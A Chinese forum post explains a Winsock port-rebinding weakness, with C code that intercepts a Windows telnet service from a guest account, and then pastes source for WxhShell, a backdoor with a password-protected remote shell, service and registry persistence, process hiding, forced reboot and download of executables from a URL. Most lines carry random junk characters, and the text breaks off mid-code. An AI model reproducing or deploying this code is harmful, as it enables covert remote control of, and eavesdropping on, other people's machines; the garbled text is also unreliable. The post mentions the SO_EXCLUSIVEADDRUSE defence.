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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K&Wv.}=V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <-oRhi4  
}07<(,0n  
  saddr.sin_family = AF_INET; !g8.8(/t)  
+poIgjq0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *{;A\sL  
@h7GTA \  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b]s1Q ]V  
`X.=uG+m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v-r[~  
("P mB?20  
  这意味着什么?意味着可以进行如下的攻击: "'H7F ,k'  
k>z-Zg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "]\":T  
whg4o|p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bcx{_&1p  
<1'X)n&Kw$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5f`XFe$8  
@=zBF'<.9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }~\].I6  
;uA_gn!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Sc~Vb|>  
`bt)'ERO%#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .+JP tL  
e,j? _p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L&gEQDPgq|  
uTlT'9)  
  #include Bdk{.oh6  
  #include E6^S2J2  
  #include tgF(=a]o  
  #include    M:Y!k<p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YT 03>!B  
  int main() '`goy%Wd  
  { ##+ 8GLQM  
  WORD wVersionRequested; WbDC  
  DWORD ret; Kp=3\)&  
  WSADATA wsaData; $d??(   
  BOOL val; vM4`u5  
  SOCKADDR_IN saddr; kq.R(z+  
  SOCKADDR_IN scaddr; v8fZ?dx  
  int err; pt|$bU7  
  SOCKET s; K/.hJ  
  SOCKET sc; 7rDRu]  
  int caddsize; gZ=9Y:$  
  HANDLE mt; I\4`90uBN  
  DWORD tid;   X9`C2fyVd  
  wVersionRequested = MAKEWORD( 2, 2 ); :;#}9g9  
  err = WSAStartup( wVersionRequested, &wsaData ); w-Q 6 -  
  if ( err != 0 ) { `_{ '?II  
  printf("error!WSAStartup failed!\n"); WO*WAP)n  
  return -1; -{amzyvLE  
  } me`$5Z`  
  saddr.sin_family = AF_INET;  [;LPeO  
   \g[f4xAV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AU?YZEAei  
Ug'nr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uu/7Ie  
  saddr.sin_port = htons(23); jeuNTDjeL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .STf  
  { Nwu Be:"@  
  printf("error!socket failed!\n"); xg5@;p  
  return -1; PQ#-.K  
  } ,c %gwzU  
  val = TRUE; I;m@cSJ|j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _.8]7f`*Gc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^l2d?v8  
  { _TcQ12H 5<  
  printf("error!setsockopt failed!\n"); X'Il:SK  
  return -1;  9DAwC:<r  
  } FEi,^V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ly/~N/<\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Eq.zCD8A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wm`"yNbD  
%>:)4A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U[ O!&:6  
  { ^EBM;&;7  
  ret=GetLastError(); 3UtXxL&L`  
  printf("error!bind failed!\n"); Mw7UU1 ei  
  return -1; Q+js2?7^  
  } cZ2, u,4  
  listen(s,2); }~,cCtg:o  
  while(1) J3SbyI!T  
  { ;A'17B8  
  caddsize = sizeof(scaddr); A(sx5Ynp  
  //接受连接请求 \hD bv5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dSD}NM  
  if(sc!=INVALID_SOCKET) 9 v3Nba  
  { &$Ip$"H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7XC}C+  
  if(mt==NULL) pQ`L=#WM  
  { >;U%~yy}qc  
  printf("Thread Creat Failed!\n"); q9z!g/,d/  
  break; r|BKp,u9  
  } {[y"]_B4  
  } w3|.4hS  
  CloseHandle(mt); !Kqj&y5  
  } E1Aa2  
  closesocket(s); _~&v s<  
  WSACleanup(); {j4:. fD  
  return 0; w)SxwlW}  
  }   _Ws k3AP  
  DWORD WINAPI ClientThread(LPVOID lpParam) \D k^\-  
  { =y/ Lbe}:  
  SOCKET ss = (SOCKET)lpParam; n8D;6#P^  
  SOCKET sc; |N.q[>^R  
  unsigned char buf[4096]; Bq =](<>>  
  SOCKADDR_IN saddr; 4~MUc!  
  long num; w}<I\*\`!  
  DWORD val; x(6.W"-S  
  DWORD ret; A/6nV n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zQ^[=siZ}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]`U?<9~Ob  
  saddr.sin_family = AF_INET; z#67rh {  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D(?#oCCA  
  saddr.sin_port = htons(23); nE$ V<Co}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d"uM7PMs7x  
  { 05zdy-Fb  
  printf("error!socket failed!\n"); |}Z"|-Z  
  return -1; `.Q3s?1F  
  } 0#GwhB  
  val = 100; U.} =j'Us+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yAkN2  
  { u<r('IW0  
  ret = GetLastError(); @  MoMU  
  return -1; T1 .@Tbbt  
  } K4L#%KUPW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rxA)&  
  { NGGd6V%'-  
  ret = GetLastError(); /P}tgcs  
  return -1; :iiTz$yk  
  } pODo[Rkq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2;7GgO~  
  { S(s~4(o>8  
  printf("error!socket connect failed!\n"); wWswuhq<  
  closesocket(sc); KAEpFobYo  
  closesocket(ss); v^E2!X  
  return -1; $)a5;--W  
  } ,fL e%RP  
  while(1) }i~j"m  
  { g{{SY5qDj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U^S:2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nrhpI d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4tKf  
  num = recv(ss,buf,4096,0); AMfu|%ZL  
  if(num>0) hzVO.Q*  
  send(sc,buf,num,0); } /FM#Xh  
  else if(num==0) r{;4(3E2  
  break; 1#RA+d(  
  num = recv(sc,buf,4096,0); YH$`r6\S  
  if(num>0) \dbtd hT;Z  
  send(ss,buf,num,0); g-uFss  
  else if(num==0) ee\zU~  
  break; \wd`6  
  } `N,Jiw;bw  
  closesocket(ss); ~<R~Q:T  
  closesocket(sc); ai2}vR  
  return 0 ; 0M.[) @  
  } ZS;kCdL   
ZXkAw sr  
7:<>#  
========================================================== ^el:)$  
Pk2 "\y@q/  
下边附上一个代码,,WXhSHELL -p~B -,  
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========================================================== P1jkoJ  
c3mlO [(  
#include "stdafx.h" {$.{VE+v5  
v:b%G?o  
#include <stdio.h> |9JYg7<  
#include <string.h> LRgk9*@,  
#include <windows.h> 94/}@<d-=  
#include <winsock2.h> o4795r,jz  
#include <winsvc.h> Yq.@7cJ  
#include <urlmon.h> 69L&H!<i:  
]kvE+m&p}^  
#pragma comment (lib, "Ws2_32.lib") '93&?  
#pragma comment (lib, "urlmon.lib") c" HCc]  
Jl}7]cVq#  
#define MAX_USER   100 // 最大客户端连接数 ~=Sr0+vV  
#define BUF_SOCK   200 // sock buffer ;T(^riAEl  
#define KEY_BUFF   255 // 输入 buffer 93,ExgFt  
,+{ 43;a  
#define REBOOT     0   // 重启 2/WXdo  
#define SHUTDOWN   1   // 关机 ? 'nMZ  
:W55JD'  
#define DEF_PORT   5000 // 监听端口 BJTljg( {o  
XoOe=V?I )  
#define REG_LEN     16   // 注册表键长度 c Ix(;[U  
#define SVC_LEN     80   // NT服务名长度 fW`F^G1R  
J0o[WD$A x  
// 从dll定义API U[u6UG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tL|Q{+i yE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PV Q%y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X?a67qL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); umYdr'p!v  
a WC sLH  
// wxhshell配置信息 z@}~2K  
struct WSCFG { `^x^= og'  
  int ws_port;         // 监听端口 xDS9gGr  
  char ws_passstr[REG_LEN]; // 口令 N11am  
  int ws_autoins;       // 安装标记, 1=yes 0=no Orgje@c{  
  char ws_regname[REG_LEN]; // 注册表键名 +ZO*~.zZ  
  char ws_svcname[REG_LEN]; // 服务名 t@v8>J%K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;!b(b%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FeJ5^Gh.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9EW 7,m{A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L M[<?`%p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VB%xV   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u^$ CR  
%8/$CR  
}; LgYzGlJp  
P7!Sc  
// default Wxhshell configuration Ar_/9@n  
struct WSCFG wscfg={DEF_PORT, 5irOK9hK  
    "xuhuanlingzhe", ah.Kb(d:  
    1, `Hqu 2 '`  
    "Wxhshell", %|~ UNP$  
    "Wxhshell", Y,r2m nq  
            "WxhShell Service", {zcjTJ=Zt8  
    "Wrsky Windows CmdShell Service", . j },  
    "Please Input Your Password: ", hB4.tMgZ  
  1, bBf+z7iyc  
  "http://www.wrsky.com/wxhshell.exe", l;fH5z  
  "Wxhshell.exe" 'lF|F+8   
    }; 4+0Zj+ q";  
62q-7nV  
// 消息定义模块 Y;WrfO$J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P#C`/%$S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Bj G3Jc5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B^Q#@[T   
char *msg_ws_ext="\n\rExit."; 6lGL.m'Ra  
char *msg_ws_end="\n\rQuit."; (`N/1}vk  
char *msg_ws_boot="\n\rReboot..."; ~a}pYLxl  
char *msg_ws_poff="\n\rShutdown..."; 4KKNw9L)  
char *msg_ws_down="\n\rSave to "; d:aQlW;}  
\GN5Sy]r  
char *msg_ws_err="\n\rErr!"; JqO( ]*"Hi  
char *msg_ws_ok="\n\rOK!"; $i hI Hl6'  
C%&7,F7  
char ExeFile[MAX_PATH]; :>5]A6Wi  
int nUser = 0; ~tWBCq 6  
HANDLE handles[MAX_USER]; aNz%vbh\  
int OsIsNt; /:DxB00  
b< rM3P;  
SERVICE_STATUS       serviceStatus; \]D;HR`vo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e-WaK0Ep  
)8_0d)  
// 函数声明 7g$t$cZby,  
int Install(void); QZY (S*Up  
int Uninstall(void); VmW_,  
int DownloadFile(char *sURL, SOCKET wsh); b({2|R  
int Boot(int flag); BdTj0{S1u  
void HideProc(void); j8b:+io  
int GetOsVer(void); Cn,dr4J[  
int Wxhshell(SOCKET wsl); t t=$:}A  
void TalkWithClient(void *cs); t%%I.zIV7  
int CmdShell(SOCKET sock); `u-}E9{  
int StartFromService(void); n\ZFPXP  
int StartWxhshell(LPSTR lpCmdLine); 5"sF#Y&  
ifkA3]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0-FbV,:;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +RM3EvglDQ  
cGD A0#r  
// 数据结构和表定义 (8{Z@  
SERVICE_TABLE_ENTRY DispatchTable[] = (]JJ?aAF  
{ %+.]>''a  
{wscfg.ws_svcname, NTServiceMain}, S'WmPv  
{NULL, NULL} _MR2,mC  
}; >2rFURcD  
z<ek?0?yS  
// 自我安装 a7Jr} "B  
int Install(void) tf,_4_7#$  
{ r&qD!l5y  
  char svExeFile[MAX_PATH]; BBX4^;t  
  HKEY key; 0Ec -/   
  strcpy(svExeFile,ExeFile); 2a G<^3  
P>H'od  
// 如果是win9x系统,修改注册表设为自启动 Av'H(qB\K  
if(!OsIsNt) { 4DNZ y2`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I|.B-$gH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Ubnz  
  RegCloseKey(key); $?GF]BT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zUh(b=,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D -jew&B  
  RegCloseKey(key); ,UP6.C14  
  return 0; R'{V&H^Z  
    } UY==1\  
  } @U&|38  
} GV9"8M Z6  
else { .sLx6J%  
@{a(f;  
// 如果是NT以上系统,安装为系统服务 oyHjdPdY#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oxRu:+N  
if (schSCManager!=0) Qcw/>LaL:  
{ k_ skn3,u  
  SC_HANDLE schService = CreateService \+,jM6l}-  
  ( BKIt,7j  
  schSCManager, n4:WM+f4  
  wscfg.ws_svcname,  2}`OjVS  
  wscfg.ws_svcdisp, rnW i<Se  
  SERVICE_ALL_ACCESS, DCNuvrZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U{ Y)\hR-  
  SERVICE_AUTO_START, A_2ppEG  
  SERVICE_ERROR_NORMAL, i,~{{XS<  
  svExeFile, (<f[$ |%  
  NULL, N>/U%01a  
  NULL, wC[J=:]tA5  
  NULL, -0W;b"]+A  
  NULL, +n0y/0Au  
  NULL 0]Li "Wb  
  ); ]t,ppFC#  
  if (schService!=0) qn<~ LxQ  
  { ^Ab|\ 5^3  
  CloseServiceHandle(schService); :!R+/5a  
  CloseServiceHandle(schSCManager); |OC6yN *P)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 67#;.}4a  
  strcat(svExeFile,wscfg.ws_svcname); 6L2.88 i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / og'W j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X<1# )xC  
  RegCloseKey(key); ~h1'_0t   
  return 0; ]-O:|q>]  
    } L.8-nTg"y  
  } s)-=l _4T  
  CloseServiceHandle(schSCManager); <EE)d@%>v  
} # wG}T .*  
} 2nw P-i  
FuD$jsEw  
return 1; kweypIB  
} {RzlmDStV  
SnVnC09y  
// 自我卸载 V8c&2rNa  
int Uninstall(void) Pp}j=$&j\  
{ `=FfzL  
  HKEY key; X&K1>dgWP  
_/KN98+  
if(!OsIsNt) { P'g$F<~V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !#>{..}}3  
  RegDeleteValue(key,wscfg.ws_regname); J3K!@m_\  
  RegCloseKey(key); x1TB (^aX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2cww7z/B  
  RegDeleteValue(key,wscfg.ws_regname); nzU@}/A/  
  RegCloseKey(key); ~*H!zKIx  
  return 0; :HwB+Bjy  
  } 9XS'5AXN  
} xY@V.  
} r;9F@/  
else { h'wI/Z_'  
7ZN0_Q s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dfk=%lZYd9  
if (schSCManager!=0) :sJVklK  
{ )4DF9JpD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xvb5-tK -  
  if (schService!=0) %rYd=Ri  
  { C EAwQH  
  if(DeleteService(schService)!=0) { M[SWMVN{  
  CloseServiceHandle(schService); 'H97D-86/  
  CloseServiceHandle(schSCManager); n&&X{Rl  
  return 0; o@"H3 gz  
  } @dw0oRF  
  CloseServiceHandle(schService); O{Wy;7i  
  } h\jwXMi,tj  
  CloseServiceHandle(schSCManager); d?'q(6&H  
} y_QK _R<f  
} 3^C  
2b2/jzO}J  
return 1; 0*x  
} 3PPN_Z  
g&&5F>mF  
// 从指定url下载文件 !A g W @  
int DownloadFile(char *sURL, SOCKET wsh) 85-00m ~  
{ )p 2kx  
  HRESULT hr; H htAD Y  
char seps[]= "/"; %I?uO( @  
char *token; $o5<#g"/T  
char *file; cR _ 8 5  
char myURL[MAX_PATH]; `Fnt#F}  
char myFILE[MAX_PATH]; ~Sh8. ++}  
Xji<oih  
strcpy(myURL,sURL); v, 9MAZ,  
  token=strtok(myURL,seps); F`+}p-  
  while(token!=NULL) <$/'iRtRzW  
  { )nQA) uz  
    file=token; j#zUO&Q@  
  token=strtok(NULL,seps); dy`K5lC@  
  } {e,S}:$g4  
6_rS!X  
GetCurrentDirectory(MAX_PATH,myFILE); Wu?4oF  
strcat(myFILE, "\\"); 9*U3uyPi  
strcat(myFILE, file); Yq}(O<ol  
  send(wsh,myFILE,strlen(myFILE),0); $3w a%"  
send(wsh,"...",3,0); LL4yafh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~}PB&`%7  
  if(hr==S_OK) 0escp~\Z  
return 0; !-)Hog5\  
else 9+_SG/@  
return 1; |]*]k`o<)  
v?vm-e  
} DavpjwSn  
oYI7 .w  
// 系统电源模块 )w=ehjV^m  
int Boot(int flag) @WEDXB  
{ bC&*U|de  
  HANDLE hToken; \%g# __\  
  TOKEN_PRIVILEGES tkp; j&(aoGl@  
+a0q?$\  
  if(OsIsNt) { 7&-B6Y4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&y< lh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;%{REa  
    tkp.PrivilegeCount = 1; PS7ta?V QC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XmJu{RbS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <xv@us7  
if(flag==REBOOT) { G AI( =  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &>,c..Ke  
  return 0; Ahv%Q%m%2  
} Xt& rYv  
else { [Wf%iwB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .?|pv}V  
  return 0; !,WO]O v  
} A 0~uv4MC  
  } g ]%sX6T  
  else { ^~XsHmcQ  
if(flag==REBOOT) { cdY|z]B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SoC3)iqv/  
  return 0; `\Z7It?aDs  
} C+tB$yahO  
else { RE 6d&#N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]6#bp,  
  return 0; #2{H!jr  
} i-Er|u; W  
} 3V2dN )\  
D;nm~O%  
return 1; M^S <G  
} :rR)rj'  
xL&M8:  
// win9x进程隐藏模块 #k?uYg8  
void HideProc(void) (]ToBju  
{ \2]M &n GT  
)jc`_{PQg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F/.nr  
  if ( hKernel != NULL ) s aY;[bz}  
  { ))ArM-02  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]l/ PyX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t`%Xxxu  
    FreeLibrary(hKernel); 3}hJ`xQ  
  } oA+/F]XJ  
!79eF)  
return; -9)H [}.  
} ; D'6sd"  
>x'R7z23  
// 获取操作系统版本 N5K\h}'%  
int GetOsVer(void) Z8 eB5!$  
{ 'ip2|UG  
  OSVERSIONINFO winfo; (+aU,EQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P]cC2L@Vbi  
  GetVersionEx(&winfo); bSJ@ 5qS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '/O >#1  
  return 1; b}<?& @  
  else yVZLZLm  
  return 0; `|&#=hl~  
} w&F.LiX^  
I) ]"`2w2w  
// 客户端句柄模块 sQ"; t=yC  
int Wxhshell(SOCKET wsl) Q7#Yw"#G!  
{ [8%R*}  
  SOCKET wsh; R^*%yjy9  
  struct sockaddr_in client; g$S|CqRG  
  DWORD myID; {wJ8% ;Z7  
z}.Q~4 f0D  
  while(nUser<MAX_USER) {#U 3A_y  
{ W!jg  
  int nSize=sizeof(client); t nvCtuaR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e)BU6m%  
  if(wsh==INVALID_SOCKET) return 1; $@utlIXA'  
6>Dm cG:.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2UbTKN  
if(handles[nUser]==0) RwyX,|  
  closesocket(wsh); ^ L?2y/  
else Lqa|9|!  
  nUser++; &d sXK~9M>  
  } xwSi.~.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i(O+XQ}Fyx  
9Ib#A  
  return 0; `En>o~L;  
} ^7l+ Of b3  
2r^G;,{  
// 关闭 socket ;X;q8J^_K_  
void CloseIt(SOCKET wsh) {J~VB~('  
{ OrP i ("/  
closesocket(wsh); BWF>;*Xro  
nUser--; $ VTk0J-W  
ExitThread(0); $Cnv]1%  
} Fswr @du  
1[:tiTG|C  
// 客户端请求句柄 ssY5g !%  
void TalkWithClient(void *cs) |\BxKwS^  
{ EBMZ7b-7  
O_ 4 j"0  
  SOCKET wsh=(SOCKET)cs; IRG-H!FV  
  char pwd[SVC_LEN]; A<p6]#t#X)  
  char cmd[KEY_BUFF]; s:zz 8oN  
char chr[1]; 5}Z_A?gy  
int i,j;  $*$X5  
Eg+ z(m$M  
  while (nUser < MAX_USER) { $97EeE:{M  
q=x1:^rVH  
if(wscfg.ws_passstr) { ^~` t q+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RLNto5?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vw";< <0HZ  
  //ZeroMemory(pwd,KEY_BUFF); p>h&SD?b  
      i=0; pq +~|  
  while(i<SVC_LEN) { >(He,o@M  
i87+9X  
  // 设置超时 @:w[(K[^b/  
  fd_set FdRead; Qv B%X)J  
  struct timeval TimeOut; |C`.m |  
  FD_ZERO(&FdRead); H^fErl  
  FD_SET(wsh,&FdRead); \AY*x=PF  
  TimeOut.tv_sec=8; A}W}H;8x  
  TimeOut.tv_usec=0; 6 K-jje;)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8~|tl,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >NJ`*M  
|2!cPf^8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *\#?)q  
  pwd=chr[0];  WfH4*e  
  if(chr[0]==0xd || chr[0]==0xa) { hQ_g OI  
  pwd=0; !SAR/sdXf  
  break; St|B9V?eEB  
  } ? t_$C,A+  
  i++; :9]"4ktoJ  
    } 5Y#~+Im=[@  
1kczlTF  
  // 如果是非法用户,关闭 socket d>hLnz1O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); krecUpo  
} DAVgP7h'  
^3lEfI<pBm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wS;hC&~2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bhf4 /$  
^GC 8^f  
while(1) { s#>``E!  
v]@ n'!  
  ZeroMemory(cmd,KEY_BUFF); _ipY;  
C^fUhLVSZ^  
      // 自动支持客户端 telnet标准   ; %mYsQ  
  j=0; 8m*uT< 5D  
  while(j<KEY_BUFF) { L4!T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \QP1jB  
  cmd[j]=chr[0]; -_T@kg[0zB  
  if(chr[0]==0xa || chr[0]==0xd) { 4h$W4NJK  
  cmd[j]=0; VWT\wA L  
  break; (( {4)5}  
  } XAb-K?)   
  j++; -+Gd<U$  
    } /2Qgg`^)  
Zp_vv@s  
  // 下载文件 RGz NZc  
  if(strstr(cmd,"http://")) { q-D|96>8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "PfNC<MQo  
  if(DownloadFile(cmd,wsh)) 859ID8F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*=qleC3  
  else }gtkO&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @f%q ,:  
  } Ja%(kq[v  
  else { c=u'#|/eb  
q%hxU.h  
    switch(cmd[0]) { "!z9UiA  
  IiB"F<&[j{  
  // 帮助 SwdUElEp  
  case '?': { XHYVcwmDz-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +&qj`hA-b  
    break; o 4cqLM u  
  } >Ni<itze$i  
  // 安装 g/BlTi  
  case 'i': { "2>_eZ#b  
    if(Install()) C,G$C7$%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Ou@T#h"  
    else 7#9yAS+x(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uS&NRf9A  
    break; hM~zO1XW  
    } ST25RJC  
  // 卸载 I1fUV72  
  case 'r': { M'}iIO`L  
    if(Uninstall()) 3}V -'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cRS2v--\-  
    else B^lm'/,@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (C60HbL  
    break; eG\`SKx_  
    } 9xM7X?  
  // 显示 wxhshell 所在路径 /8"9 sf *  
  case 'p': { NTy0NH  
    char svExeFile[MAX_PATH]; |^T?5=&Kt  
    strcpy(svExeFile,"\n\r"); $^louas&  
      strcat(svExeFile,ExeFile); +Q!  
        send(wsh,svExeFile,strlen(svExeFile),0); 5~E'21hJ  
    break; B<6Ye9zuG  
    } \zv?r :1t  
  // 重启 d!#qBn$*[  
  case 'b': { Gb_y"rx?0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m+'vrxTY  
    if(Boot(REBOOT)) !)+8:8H'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%DDN\q\u  
    else { " twq#Alx  
    closesocket(wsh); +"F9yb  
    ExitThread(0); JVt(!%K}&  
    } n Wb0S  
    break; D/Hob  
    } 5$Da\?Fpn  
  // 关机 q}MPl2  
  case 'd': { ]}HuK#  
